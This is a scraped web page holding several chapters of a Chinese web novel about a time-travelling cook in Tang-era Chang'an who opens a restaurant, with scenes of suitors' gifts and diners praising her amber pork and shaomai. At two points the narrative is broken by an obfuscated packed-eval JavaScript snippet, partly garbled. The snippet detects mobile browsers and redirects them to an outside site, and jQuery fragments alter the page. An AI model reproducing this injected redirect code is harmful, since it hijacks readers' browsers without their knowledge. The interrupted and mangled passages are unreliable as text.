这情绪几乎从未有过,来得陌生,谢宵不明缘由,只得暂时压下,道:“正是,崔娘子好记性。他叫青松。” 青松——轻松!一听就是个没什么压力的好名字。 再联想那小书童那日来买饼子时无忧无虑的欢喜模样,崔时钰越发觉得这名字和他适配了。 她由衷笑道:“真是个好名字。” 原来,那个时候她就和面前这位谢小郎君有渊源了啊。 崔时钰顿了顿,忽然想到什么,“对了,上回卖给谢小郎君的酱饼方子,可还合用?” 不久前谢宵花重金买下她的酱饼食方这事儿,崔时钰除了两个妹妹没告诉任何人。 没人比她更懂闷声发大财的道理。 之前的二百枚蛋挞是没办法,动静太大,想瞒也瞒不住,但这卖食方不一样,只有买家卖家双方知晓,悄没声地就能把钱赚了。 她自己这辈子的岁数也不大,一个人带着两个年幼的妹妹,家里连条狗都没有,做事自然不能不小心些。 “正要与崔娘子说此事。” 谢宵的话打断了她的思绪,“公厨按崔娘子的方子做出的饼,常参官们都赞不绝口,为了能吃上一口饼子,每日上朝都积极不少。” 他继续道:“崔娘子食方中所写的配菜,除了煎鸡子、炸鸡脯,骨肉相连与生粉肠也都极受欢迎。” 说着说着,他忍不住对面前的年轻女郎再度升起佩服之心。 煎鸡子裹生菜也就罢了,骨肉相连和生粉肠是怎么想出来的? 崔娘子怎么有这么多奇思妙想? 廊下食一经改进,也算是消除了兄长心中的一大烦忧,谢宵还记得兄长提起引入酱香饼后的廊下食的热闹场景时,眼中闪动的笑意。 他很少见兄长这么高兴——面对阿嫂时除外。 经此一事,谢珏还提起了另一件事:公厨主膳不堪重用。 此事谢宵也略有耳闻。 主膳李大年手艺虽好,但为人奸猾,最喜投机取巧,谢珏此番引入酱饼食方,一来是为了改善廊下食,二来也是为了试探李大年。 果然,自从得了酱饼方子,李大年便将研制食方一事全部交由佐膳郑宝泉负责,自己则当起甩手掌柜,不闻不问,等到酱香热饼在公厨大受好评之后,他又将功劳全揽在了自己身上,半口不提郑宝泉的操劳。 这些虽然都是小事,却也都被谢珏看在眼里。 谢宵虽不清楚兄长具体打算怎么做,但有一件事十分清楚:李大年怕是要丢帽子了。 崔时钰自然不知道这些乱七八糟的事。 京兆府乃是官府重地,外人不可随意出入,谢宵能将食方效果反馈给她,她已很感激了。 她福了福身道:“多谢谢小郎君告之。” “谢我作甚?说起来,我们倒要多谢崔娘子。”谢宵边说边伸手将她虚虚一扶。 谁知,崔时钰恰在此时起身,两人手指不经意间相碰,互相擦过对方指尖。 两人皆是一愣,连忙各自收回手去。 崔时钰倒没觉得如何,毕竟她骨子里还是个现代人,碰了下手而已,算得了啥? 挤地铁的时候指不定要和陌生人碰上多少次。 她转头便把这件事忘在了脑后。 谢宵却是好半天没能回神,只觉方才触碰过对方手指的指尖似乎仍在发烫。 这算什么? 他掩饰般地转移话题:“……方才听说崔娘子的食肆不日就要开张,先提前恭贺崔娘子了。日后我必定时常叨扰。” 崔时钰回道:“谢小郎君若要来,儿自然是极欢迎的。” 她犹豫片刻,又道,“其实铺面不大,只摆得下几张食案,菜也都是寻常菜肴,还望谢小郎君莫要嫌弃。” 谢小郎君可是京兆尹大人的亲弟弟! 按照现代来说,那就是市长的弟弟,什么大酒楼好酒肆没去过,真能瞧得上她那间小食铺? 崔时钰虽对自己的手艺十分自信,但世界上的很多事,都不是“做菜好吃”四个字就可以解决的。 几乎是在崔时钰提问的下一秒,谢宵便温和一笑,回道:“无妨。” “我站着吃也成。” 听起来不像是在开玩笑。 崔时钰瞧着他,认真道:“那怎么行。” 谢宵被她看着,心跳莫名漏了一拍。 “……” 他觉得自己今日很是奇怪,都有些不像自己了。 他并非从不与女郎交谈,却从未有过今日这般。 担心自己再在崔时钰面前失礼,谢宵道:“不打扰崔娘子了,我先走了。” 崔时钰叉手:“谢小郎君慢走。” 谢宵却没有马上离开,想到了什么,垂眸看着她,“明日我就要回学馆了,怕是不能亲自登门恭贺崔娘子食肆开张之喜,到时会派家中书童来为崔娘子送上贺礼。” 崔时钰眨眨眼,有点受宠若惊。 她和这位谢小郎君不过是刚见过三次面的关系,其中一面她还根本不知情,对方是不是有点对她太好了? 但话都说到这份上了,再推辞未免矫情,也伤人心,崔时钰便微笑应下:“那儿便提前谢过谢小郎君了。” “崔娘子不必多礼。” 谢宵顿了须臾,“我走了。” 待他走出半丈多远,崔时钰突然出声喊道:“谢小郎君!” 谢宵回头看她。 “记得吃饼。”崔时钰道。 这可是她卖的最后一个饼子了,很有纪念意义的! 谢宵伸手,按了按怀中还温热的饼子,微微一笑:“我记得。” * 卖完饼子,崔时钰回到铺子将手推车收置起来。 这东西虽然一时半会是用不上了,但毕竟承载着一段美好的赚钱记忆,她舍不得卖,索性放在家中留作纪念。 院子还是原先那个院子,但因为已经修整一新,面积扩出不少,放下一架小手推车不成问题。 仲春已至,院里 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崔时钰连连道谢,正要招呼众人进店,忽见人群外有个穿深绿袍子的陌生少年正费力地穿过人群挤进来,怀里还抱着个红绸包裹的长条物件。 这少年是谁? 崔时钰正疑惑着,陌生少年已经到她跟前来向她行了个礼,对方年纪不大,举止间却有股超脱年龄的沉稳。 “崔娘子安好,贺崔娘子食肆开张之喜。我家郎君在广文馆有经筵课,脱不开身,特命奴送来贺礼。” 崔时钰恍然大悟。 这位少年便是谢宵昨日和她提过的书童了。 她朝少年回了个礼,双手接过包裹,只觉沉甸甸的压手,想来一路拿来不容易。 “多谢小郎君,小郎君辛苦,有劳小郎君替我谢过谢小郎君了。” 崔时钰不是没想着这事,只是以为谢宵会让那位青松小郎君来,没想到换了张陌生面孔。 “敢问小郎君名姓?”她开口询问。 少年又是一礼,“奴名墨竹。” 墨竹,青松……单从名字结构来看,似乎是一对兄弟。 但想到古人都有为家中奴仆取成双成对名字的习惯,崔时钰又不敢确定了。 她不动声色打量面前的少年,和记忆中小书童那张脸相对比,竟真的寻到几分相似之处。 莫非真的是兄弟? 她这样想着,也就这样问了出来。 墨竹腼腆一笑,“崔娘子猜得不错,青松的确是奴的弟弟,和郎君一同去了学馆,所以来派了奴来。” “两位小郎君真是辛苦了。”崔时钰由衷道。 墨竹笑着说:“二郎对我们兄弟二人照拂有加,我们不过是做些分内之事罢了。” “对了,二郎说,还请崔娘子当面查验贺礼,若不喜欢,还可再换。” 还可以再换? 谢宵这是给她送了什么。 崔时钰一边说“谢小郎君真是太客气了”,一边解开红绸,待看清里面的物件,顿时惊喜得瞪大双眼。 竟是一套刀具! 她立马抽出来看。 银光如水,斩骨刀、片鱼刀、雕花刀……每把刀都做工精致,刀刃薄如蝉翼,刀柄还缠着防滑的丝绳。 墨竹徐徐开口:“这是二郎特意找老师傅打的,用的是镔铁,刀柄长短都按女郎的手掌尺寸特意做小,不知崔娘子可还喜欢?” 崔时钰捧着那柄斩骨刀摸来摸去,“喜欢。” “有劳墨竹小郎君告诉谢小郎君,我……真的很喜欢。” 对于一名厨师来说,一把好刀胜过千言万语,这个礼物真是送到她心坎上了。 谢小郎君真是个好人。 多说无益,崔时钰大手一挥,“下次谢小郎君来食肆,我免单。” 见她的满意不似客套,墨竹抿唇一笑,放下心来,正要开口,忽听门内传来声音。 “崔娘子,点菜了!” 两人同时回头看去,只见刚开张还不到半炷香工夫的食肆已经座无虚席,几张食案全部坐满,热闹极了。 这么快就人满了? 墨竹忙道:“不叨扰崔娘子做生意了,奴先走了。”说罢行礼离开。 “墨竹小郎君慢走。” 与墨竹告别后,崔时钰捧着沉甸甸的刀具进了门,语调喜悦。 “来了!” * 武长青刚一退值便赶来崔记食肆。 他今日特意换了身常服,腰间常悬挂的那柄短刀都卸了,比起平日当值时的肃杀模样,多了几分儒雅气息。 食肆的生意比想象中还要好,武长青足足排了半炷香的时间,终于等到一个靠窗的位置。 他并未觉得不满,反而认为理应如此。 毕竟……崔小娘子的手艺那么好。 武长青迈步进门,看见食肆内里陈设简洁素雅,几张食案错落摆放,已坐满了食客。 她在唯一空着的那处靠窗位置坐下,刚落座便有人奉上茶盏,是阿锦。 “武铺正请用茶。” 武长青是酱饼摊不折不扣的常客,阿锦自然知晓对方身份,奉完茶后又拿来一册木夹。 “这是本店食单,武铺正请过目。” 食单? 武长青打开一看,顿时眼前一亮。 那食单竟是用木片做的活页夹子,掀开封面,内里一叠素笺用红绳穿连在一起,每页都写着菜名,更妙的是旁边还配了朱砂绘制的简笔小画。 虽说字迹与画技都远达不到出众的程度,却能看出是一笔一划认真写的,倒也别有一番趣味。 寻常食肆顶多柜上挂个水牌写明今日特供,要点什么菜全凭跑堂的口报菜名,哪里有这般精巧的食单? 武长青抚过纸页,只觉触手温软细腻,问阿锦道:“这食单可是崔小娘子亲手所制?” 阿锦抿嘴一笑,有点小骄傲地说:“正是,阿姊说了,活页方便随时增减菜品,木片能长期使用,除此之外,阿姊还特意在夹层放了干茉莉花,这样食客们点菜的时候也能闻到茉莉清香,心情也好。” 说起阿姊,她如数家珍。 武长青不由赞叹:“好巧思。” 他细细翻阅,鲫鱼豆腐汤、小笼蒸包、糖醋里脊……一道道令人眼花缭乱的菜名在眼前闪过,有几道被用朱笔特别圈出,旁边画了一枚小小的红梅,显是推荐的招牌菜。 武长青对这新奇食单一时有些爱不释手,从头到尾连翻两次才点了菜:“琥珀肉,干煸豆角,并一碗米饭。多谢。” 阿锦应了一声下去了。 等待上菜这段时间,武长青闲来无事观察起来,见周围其他食案上摆着不少菜,红红绿绿煞是好看,食客们也吃得不亦乐乎,偶尔夹杂着几声“真好吃”“果然没白等”“比大酒楼里的菜还好”的感叹,令他越发心思浮动。 也不知他点的那道琥珀肉是何滋味。 37. 红烧肉香 不多时,武长青便听到一阵瓷盘碰撞的细微声响。 抬头望去,就见身着紫色襦裙、腰系靛蓝围裳的崔时钰已端着两道菜朝他走来。 她手托食碟,边走还不忘招呼邻桌客人,一束暖阳映照在她的脸上,能看清那张如脂玉般莹润小脸上的细小绒毛。 武长青敛了眸子,一时之间竟有些不敢看她。 崔时钰已走到案前,清越的声音在身侧响起,“武铺正久等啦。” 近看之下,她眉如远山,眸若点漆,鼻尖还沾着一点点灶灰,更添生动。 武长青耳根发热,“崔小娘子客气了,小娘子新店开业,不能不来。” 说着拿起放在一旁的漆盒,“小小贺礼,不成敬意,还望崔小娘子收下。” 崔时钰今日收了不少礼,都快收出经验了,福身道谢接过,打开一看,竟是一株绿意盎然的金钱草盆栽。 这时候还没有发财树,金钱草便是最能代表招财寓意的植物。 招财啊发财啊什么的,谁不喜欢? 她低头看了看怀中叶片长得像钱币一样的盆栽,欢喜道:“多谢武铺正,我定会好好照顾它的。” “崔小娘子喜欢就好。” “那便不叨扰武铺正了,菜肉都是刚出锅的,还请趁热用。”崔时钰说完又是一礼,欢欢喜喜地捧着金钱草离开了。 见她脚步轻快,是发自内心的喜欢,武长青长舒一口气,一颗心放进了肚子,这才将目光移到面前的菜肴之上。 然后就被夺去了心神。 雪白瓷盘中,青碧豆角煸出了金黄的虎皮纹,里头的芯子依旧碧绿鲜嫩,微微蜷曲,咸香混着热气从每一纹皱皮里钻出来。 旁边那道琥珀肉更是令人惊叹。 四四方方的红亮肉方垒成小肉山,浓稠的酱汁顺着肉块缓缓滑落,在盘底积成一汪酱色。肉皮油亮,肥肉部分几近透明,仿佛下一刻就要化开,瘦肉吸饱了酱汁,红褐油亮。 从横截面瞧过去,肉皮油润发亮,肥肉晶莹剔透,瘦肉丝缕分明,真真是如同琥珀一般。 难怪叫做“琥珀肉”。 不说味道,光是瞧这色香,便足矣担得上“招牌菜”三字。 武长青咽了咽口水,他喜欢把好东西放在最后吃,没动肉,先握着筷子挟起一段豆角。 外头煸得焦酥,内里却还锁着鲜嫩,刚入口时有丝丝辣意,想来是里头添了食茱萸,但不多,是以辣味来得快去得也快,转头就被豆角本身的清甜接住了,蒜香、微辣与豆角本身的鲜香层层递进,别有一番滋味。 武长青忍不住在心中赞叹:妙极! 干煸豆角看似寻常,但若想做出好滋味同样不易。 窥一斑而知全豹,崔小娘子的绝妙手艺,从这寸段豆角之中就能窥见一二了。 武长青配着豆角送了好几口米饭,这才将筷子伸向一旁的琥珀肉。 那肉块炖得软烂极了,颤巍巍的挂在筷头上打晃,几乎叫人不敢用力。 武长青直接把一整块肉块吞进口中。 咸鲜的浓香在舌尖轰然炸开,肥肉入口即化,脂香浓郁却又丝毫不腻;瘦肉也好,一点都不柴,酥烂中带着嚼劲,越嚼越香,好吃得把舌头都快吞掉了。 武长青满足地“嗯”了一声。 他没配白饭,空口吃的,满口都是油脂的丰腴荤香,却不觉得有丝毫的油腻之感。 更是妙极! 武长青又连尝几口,越吃越觉精妙,脆嫩的豆角与丰腴的琥珀肉一油润,一清爽,交替入口,不知不觉间,两盘菜已去了大半。 吃了这么半天,他心中有了数:这琥珀肉,大约是用豕肉做的。 他全无觉得豕肉是贱肉的想法,只是想,长安城中,怕是再没有第二个人能将豕肉做得如此咸鲜味美了。 不愧是崔小娘子。 其实,崔时钰这番不过是借了东坡先生的光——那可是大名鼎鼎的东坡肉! 当年苏东坡先生在杭州疏浚西湖,百姓们感恩戴德,抬着猪羊美酒来谢他,这位大文豪便亲自下厨,将五花肉切作四方块儿,不用一根绳子捆扎,慢火煨炖出来,香气飘了满城。 自此,东坡肉一战成名。 这个时代没有东坡先生,崔时钰便给这东坡肉更名换姓,称为琥珀肉。 原因有三: 一来,经过长时间炖煮,红烧肉裹满晶莹红亮的酱汁,光亮油润,犹如一块蜜色琥珀宝石;二来,琥珀一词容易让人联想到“玉碗盛来琥珀光”的诗意画面,更符合唐朝人民文雅的口味;三来,规避豕肉二字,不给食客们戴有色眼镜的机会。 可谓是一箭三雕。 武长青这边已经空了一碗米饭,仍意犹未尽,思考要不要再添碗饭的档口,忽听邻桌老丈扭头问他:“武铺正,你点的这肉可是琥珀肉?” 这人他识得,乃是长安东市布庄的冯掌柜。 从东市跑来南坊最南,这一趟也是真爱了。 武长青客气点头:“正是。” 冯掌柜眼光发亮地问:“味道如何?” 武长青毫不犹豫给出答案:“长安第一。” 他正好奇对方为何有此一问,低头一看才明白,原来热气蒸腾,他这盘琥珀肉浓郁的肉香不知不觉已弥漫开来。 肉香浮动,不由分说地闯进每个在场之人的鼻子,霸道地勾着人的食欲。 食肆内也随之发生了变化,原本各自用餐的食客们,都不约而同地抽动着鼻子,把目光投向了自己案上的琥珀肉。 武长青不由发笑。 他这算不算是给崔小娘子打了广告? 听到他的答复,冯掌柜舔舔嘴唇,下一刻便招手唤来阿锦:“小娘子,给我也上一份这个琥珀肉!” 虽说一碗菌菇索饼已经差不多吃饱了,但架不住这肉实在是香啊! 而且,就连武铺正这般不苟言笑的人都倾力推荐,焉有不吃一次的道理? 这琥珀肉他必吃。 就跟推倒了多米诺骨牌似的,食肆内陆续响起此起彼伏的呼唤: “某也要一份这个肉。” “给我们这桌添个琥珀肉!” “店主小娘子,那红亮亮的肉还有没有?” “……” 崔时钰从后厨出来,见这情景先是一愣,而后忍不住莞尔一笑,心想这位武铺正倒是替她招揽了好生意。 她趁热打铁,朗声道:“诸位客官,并非儿自夸,这肉要配着饭吃才最够味。” 试问,谁能拒绝一碗红烧肉盖饭呢? 于是又有人道:“行,就听店主娘子的,那便再添碗饭。” “我也要添!” “来了来了!” 阿锦穿梭在各桌之间,脸上挂笑,托盘上面垒着一碗碗冒尖的白米饭。 武长青见状也很高兴,低头继续吃起来。 这次他特意将肉汁淋在了米饭上,莹白的饭粒裹上了油亮的酱汁子,浓郁的肉香渗进米饭,米香与肉汁混在一起,吃起来是说不出的香。 因用来炖肉的卤汁是崔时钰提前备好的,一锅肉熟便下新的一锅,是以出菜速度极快,不多时,一盘盘琥珀肉就流水似的端上了各桌。 食客们淌着口水看武长青一人吃了半天,早已迫不及待,肉一上桌便马上举起筷子。 有人将肉汁浇在米饭之上,有人夹着肉块与豆角同食,有人直接空口吞了好几块……一时之间,食肆内满是大口吃肉的吞咽声、碗筷碰撞的清脆声响,还有食客们满足的叹息。 有人边吃边赞道:“好肉!真香,没吃过这么香的肉!” “崔娘子饼子做得好,做起来肉来也是一绝!” 一位文士模样的郎君更是摇头晃脑:“肥而不腻,瘦而不柴,妙哉妙哉!” 方才问武长青话那位冯掌柜正慢条斯理地用筷子将肉块分成小块,再把红亮油润的肉汁拌进饭中,端的是一副要连肉带饭细细品味的架势。 甫一入口,老头瞪大了眼睛,胡子都颤了几下。 “这琥珀肉真是绝了!” 不知不觉,武长青已将盘中最后一块肉吃完,酱汁被他用米饭刮得干干净净,就连干煸豆角的里头的那几粒炸蒜末都吃光了。 他意犹未尽地看着空盘。 怎么办,还想吃。 恰好崔时钰就在此时路过——阿锦忙不过来的时候,她就过来搭把手。 至于阿宁,小姑娘也想替两个姐姐分担一下,奈何人太小,连托盘都举着费劲,崔时钰便拿了篮豆角让她在后厨慢慢择着玩。 想着能给姐姐分忧,阿宁择得很是卖力,这会子已经择到第二筐了。 想到这里,崔时钰笑笑,见武长青桌上的食盘已空,上前问道:“武铺正吃着可还好?” 两盘一碗都空得干干净净,想来对方这顿就餐体验还算不错。 果然,武长青把干煸豆角和琥珀肉都夸了一遍,就连那碗白米饭都得了句“弹糯可口”的评语。 说完又道:“崔小娘子,不知这琥珀肉可否外带,我想带一份回去给李二钱四他们尝尝。” 说到这里,他忍俊不禁,向崔时钰诉说起几天前发生的事。 “听闻崔小娘子不再做酱饼生意,钱四和李二都伤心得不行,特别是钱四,这几日用朝食时直抱着胡饼长吁短叹……想来给他们带份琥珀肉回去,能宽慰些。” 脑海中浮现出钱四边哭边啃胡饼的画面,崔时钰忍不住笑起来:“自然使得。” 钱四郎君的截断反应竟这么大么? 还好当初卖饼时的那些保温食盒都还好好留着。 “武铺正稍后,儿这就去取。”说着麻利回到后厨,不多时便装好食盒捧着出来了。 她掀开食盒盖子给武长青看。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792328|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 于是武长青惊喜地发现,食盒里面竟分了双层,上层放着刚从锅里盛出还冒着热气的琥珀肉,下层是新出锅的米饭。每层底下都垫了干荷叶。 崔时钰解释道:“武铺正带回武侯铺怕是已经过了午时,这食盒最下头放了热炭灰,外头用棉布一裹,能保温一个时辰。” 武长青心头一暖,“崔小娘子费心了,不知连食盒带餐饭一共索价几何?”他忙取出钱袋。 崔时钰摆摆手:“武铺正今日携礼而来,又无意间帮小店招来许多生意,儿岂能再收银钱?” 武长青却坚持道:“一码归一码,某身为武侯铺正,更该以身作则,岂能白拿商户之物?”说着取出足额银钱递了过来。 见他态度坚决,崔时钰也不再推辞,接过钱笑了笑道:“那武铺正便得空常来。” 武长青应了一声,知道她忙,不想耽误她的时间,提着食盒走出崔记食肆。 屋外,春风拂面,携着隐隐的杏花香。 转过街角,他忽然听到身后食肆内又爆发出一阵此起彼伏的赞叹声。 又一锅琥珀肉上桌了。 * 武侯铺。 钱四蹲在墙角旁边,正百无聊赖抠着从前吃饼子时掉进砖缝里的胡麻粒,自个还在那作诗。 “酱饼已乘黄鹤去,此地空余胡麻粒……” 半晌,他捶胸顿足长嚎一声:“好想吃崔娘子做的酱香饼子啊!” 自打崔娘子宣布不再做酱饼生意之后,他就每日做什么都提不起劲头,连吃饭也兴趣寥寥。 同僚打趣他这副模样就如失恋了一般。 钱四却不赞同:吃不着饼子可比失恋要伤心多了。 虽然他没恋过。 许是知晓了崔娘子的名号,武侯铺公厨产生了危机意识,竟破天荒地对每日三顿的吃食进行改善,多了一锅波棱菜汤,还往胡麻饼里塞了羊肉。 可惜羊肉给得太少,调味也寡淡得很,还没咂摸出滋味就咽进肚子里了,完全没有吃酱香饼里头的炸鸡脯时那种大快朵颐的爽感。 每次吃饭的时候,钱四都尤其想念酱香饼,想念饼子里头夹着的咸鲜脆爽的腌萝卜丁,想念一口下去肉汁四溢的炸鸡脯,想念外焦里嫩还有溏心流淌出来的煎鸡子…… 由简入奢易,由奢入简难啊! 旁边的李二不轻不重拍了拍他肩膀,“省些力气吧,咱们武侯铺这些人,谁不馋崔记的酱饼?偏你这般作态。” 钱四本就心情不虞,一听李二这番“火上浇油”的话更是不快,把方才从砖缝抠出来的胡麻粒全扔李二身上,边扔边说,“李二,你说我哪般作态!” “哎哎哎!” 李二边躲边喊:“我好心提醒你,你这人怎么这样!” “我就这样,我就这样!” 有路过的同僚瞧见这仿佛幼童拌嘴的一幕,忍不住笑着摇头点评:“瞧瞧,吃不上酱香饼子,把咱们好好的武侯都逼成什么样了。” 李钱二人完全顾不上回答,打打闹闹不亦乐乎,哪里还有半分巡逻时的威严架势? 直到远处传来一阵略严肃的男声。 “你们在做什么?” 铺正来了! 其他人闻声马上溜了。 李二却是没溜,闻言连忙停手站好,心虚道:“铺正。” 钱四也没跑,因为想跑也跑不了。他老实了,跟着李二喊了一声“铺正”。 两人对视一眼,心中不约如同想到,完了,又要挨骂了。 武铺正骂起人来可不是闹着玩的,能把人骂哭。 凶得很哪! 武长青离老远就瞅见了这二人闹出的动静,还捕捉到了对话中的关键词“酱香饼”,虽不知事情全貌,却也多多少少能猜出他们在闹些什么。 按他从前的习惯,必定要将这二人好好批评教育一顿,然而不知怎么,此次却莫名有些不愿计较,只说了些诸如“成何体统”“下次不可再犯”之类的场面话。 李二和钱四听完也很诧异:这就完了? 他们还以为这次武长青也会把他们骂哭呢。 更让他们诧异的事还在后头,武长青骂完他俩,沉默片刻,忽然将手中一直提着的盒子打开了。 钱四的眼神瞬间一亮:这不是崔娘子经常放饼子和炸鸡脯等配菜的食盒么?! 怎么到这儿来了! 食盒打开,一股浓郁到像是实体化了的肉香顿时充满了整个武侯铺。 钱四和李二还没回过神来,待看清食盒里面放了什么东西之后,两人眼睛更是瞪得老大。 食盒里整齐码着七八块大肉,每一块都约莫三指宽,四四方方,红褐色的肉皮像涂了蜜糖似的油光发亮,肉块上挂着浓稠的酱汁,日光一照,更添几分诱人。 钱四吞了吞口水,话都说不利索了。 “这、这是……” 38. 糯米烧麦 看见他这副没出息的模样,武长青忍住笑意,取出筷子,“这是崔记食肆的琥珀肉,知道你们这两日吃得不好,特意带回来给你们尝尝。” 崔记食肆——是崔小娘子开的食肆! 救星来了! 钱四顿时像活过来了一般,和李二一同连声说道:“多谢铺正!” 李二先他一步接过筷子,迫不及待朝着盛肉食盒伸了出去。 他从没见过切得如此方正的大肉块,颤巍巍地在筷尖晃动,衬得一双长长竹筷都显得细脚伶仃的。 肉块上的酱汁半滴不滴,肉皮连带着下头的肥肉显出几分胶质透明之感,要不是有底下的瘦肉托着,真叫人担心下一刻就会化开。 李二连忙让它化在了自己嘴里。 他嚼了嚼,眼睛顿时睁大了,含混不清地叫道:“天爷啊!怎的这么好吃?” 肉皮软糯弹牙,胶质十足,肥肉部分入口即化,油油地在舌尖化作酱香浓郁的肉汁,瘦肉更是丝丝分明,却不柴不硬,完全没有塞牙的感觉。 再说那酱汁,咸中带着微微的甜,还有种说不出的醇厚滋味,一尝便知没少往里放贵价香料。 铺正方才说这肉叫什么来着……想起来了,是琥珀肉! 名字也好,料更用心,火候也掐得准,崔小娘子炖这锅肉真是没少下功夫。 李二心中赞叹连连:第一次吃崔记酱香饼时他就似有所感,这位崔小娘子必定能在吃食一道上成就大事业,如今看来,果真是没错。 这样想着,他又挟了块肉,并挖了一大勺米饭。 见李二吃得香甜可口,钱四赶紧飞也似的夹了一块,生怕被食盒里面的肉全被他抢走似的。 肉刚入口,他的表情就变了,先是震惊,继而变成陶醉,最后满足地“嗯嗯”了好几声。 肉皮炖得又烂又黏糊,牙齿轻轻一碰就分开了,肥肉部分更是肥得流油,又没有丝毫油腻感;瘦肉纤维分明,酥烂不柴,每一根肉丝都吸饱了甜中带咸、咸中透鲜的酱汁。 好吃,好吃啊! 钱四细细咀嚼,仿佛要把每一丝肉的滋味都品出来,好半天才开口道:“我活了这么多年,还没吃过这么好吃的肉!” 武长青闻言面上不显,心中却忍不住琢磨:活了这么多年? 钱四今年不过才刚满十八岁。 话虽如此,比他多活了七八年的自个倒也没吃过这么香的肉。 看着狼吞虎咽吃肉的两人,武长青忍不住为崔时钰感到高兴,眼中浮现出微微笑意。 “味道如何?” 钱四直接用动作代替了回答,用米饭蘸着食盒底部的炖肉汁子:“好吃,肉好吃,饭好吃,酱汁子也好吃得紧!” 李二也在一旁连连点头。 方才被“刚正铺正怒骂泼皮武侯”场面吓跑的其余武侯闻到浓郁肉香,复又折返回来,可惜到底是来晚了一步,只看到一个被钱四和李二分食殆尽、空空如也的食盒。 于是看向武长青的目光顿时带上几分埋怨:铺正你怎么这样?打这两人一巴掌再给一颗甜枣是吧! 而且这哪里是一颗甜枣,分明是把一棵甜枣树都给他俩了! 真不公平! 肉已进肚,肉香仍经久不散,几名武侯你看看我,我看看你,心中都浮现出一个相同的想法:早知如此,他们几个方才也互相朝对方扔胡麻了,也许这样就能分到肉吃了呢。 担任铺正多年,武长青头一次面对众武侯时有些心虚,以拳掩唇,轻咳一声,带着空食盒离开了案发现场。 他本来是想着钱四李二吃完之后,再一人一块分给大家,奈何这两个人吃肉的速度实在太快了。 此事着实不能怪他。 在他身后,李二意犹未尽地舔着筷子上残留的酱汁,忽然道:“明日我要去崔娘子食肆里吃现出锅的!钱四,要不要跟我一起去?” 钱四毫不犹豫地点了点头,已然忘记方才与李二之间的“恩怨”:“同去同去!装食盒里的一路拿过来都这么好吃,现做的想必更妙。” “我方才就在想,这肉若是刚出锅时就吃,肯定更是酥烂浓香。” “哎呀,你说得我都要流口水了……” * 天光乍破,崔家小院里开了花的杏树正忙着抖落积攒一夜的露水。 崔时钰也在灶间忙着用竹箕沥干糯米。 因不用再做酱饼生意,清早的时候闲暇许多,现在的她有更多时间琢磨朝食吃什么。 今天早上便吃糯米烧麦吧! 糯米烧麦,小小的一个,雪白的面皮捏作褶状,透出里头酱色的馅料,黏糯的米粒混着肉馅滑过舌尖,再配上一碗熬煮到米粒开花的温润白粥,最宜配着晨光慢慢享用。 经过一夜泡发的糯米莹润如珠,崔时钰将其用竹箕沥干后便铺进蒸笼,接着随手扯了团柳絮放进灶膛点燃。 如今正是柳絮萌发的时节,看着大街上与后世别无二致的漫天飞舞的柳絮,崔时钰一时心情复杂。 当初她可没少被这玩意祸害,每次都得戴好口罩眼镜才敢出门,不然肯定被糊得满嘴满脸都是。 两个妹妹倒是没觉得这东西是祸害,反而喜欢得紧。 特别是阿宁,玩心大起,觉得这些飞来飞去像棉花一样的雪白绒毛好玩极了,干树叶也不捡了,每回出门便直奔大街上成团飞舞的柳絮,捡了好多回来。 好在这东西质地轻盈、干燥易燃,也算烧火的一把好手,崔时钰也就由她们去了。 没过多久,燃着的柳絮就将柴火引得噼啪作响,水汽裹挟着米香漫溢而出。 等到糯米被蒸得半熟,崔时钰便将它们倾入盆中,淋上酱色浓亮的酱油,再拌入提前煸香的猪肉丁、香菇碎和笋粒。 鲜香顿时窜进鼻子。 面皮是现擀的,面粉里头掺了些许盐粒,用开水和成面团,擀面杖一滚便擀出一张张薄如蝉翼的圆皮。 崔时钰拿起一张面皮,舀一勺配料丰富的的糯米馅,虎口一收,手指灵巧地转过一圈便捏出数道荷叶褶。 填好馅儿的烧卖一个个圆圆滚滚,顶部炸开百褶裙似的花纹,漂亮极了。 起锅烧水,上笼猛火蒸透,盖子一掀,浓香便漫了出来。 热气腾腾中,烧麦皮子薄得几乎透光,能清楚的瞧见里面金黄油润的糯米、酱色浓郁的猪肉丁,还有鲜郁的香菇和笋粒。 若有似无的猪油荤香混着面皮的麦香、猪肉的醇香,还有香菇和的清香,如有实质的香气几乎能把人绊个跟头。 崔时钰满意点头,将烧麦取下装盘,又准备了一小碟陈醋和姜丝作为蘸料,这才端着盘子向卧房走去。 她轻手轻脚地推开房门,看见床上两个少女还在酣睡。 俩人的睡相各有不同,阿锦侧卧着,一手搭在枕边,呼吸均匀,睡相极佳;阿宁则四仰八叉地躺着,无辜的被子已被踢到脚边。 看着两个妹妹迥然不同的睡相,崔时钰不禁莞尔,将烧卖放在床榻旁边的小案几上。 昨天是食肆开张首日,崔时钰自觉做好了万全准备,但客流量比她想象中还要多,一日下来,忙得几乎脚不沾地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803311|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿锦和阿宁也是如此,换做以往这个时辰早就醒了,只是昨天两个小姑娘都有点累,这才多睡了些时间。 崔时钰也就没叫醒她们。 话说回来,开食肆是真的赚得多啊! 午食一过,成本费便赚了出来,直到暮食便都是纯利润,一天下来的收益足足赶上了出摊卖饼的三倍还要多。 况且如今菜单上的菜量还不算多,来日若是将菜单扩充,再将食肆知名度打出去,收益定然十分可观。 崔时钰正尽情畅想着自己的赚钱大计,一道迷迷糊糊的声音忽然传进她耳朵。 “好香……” 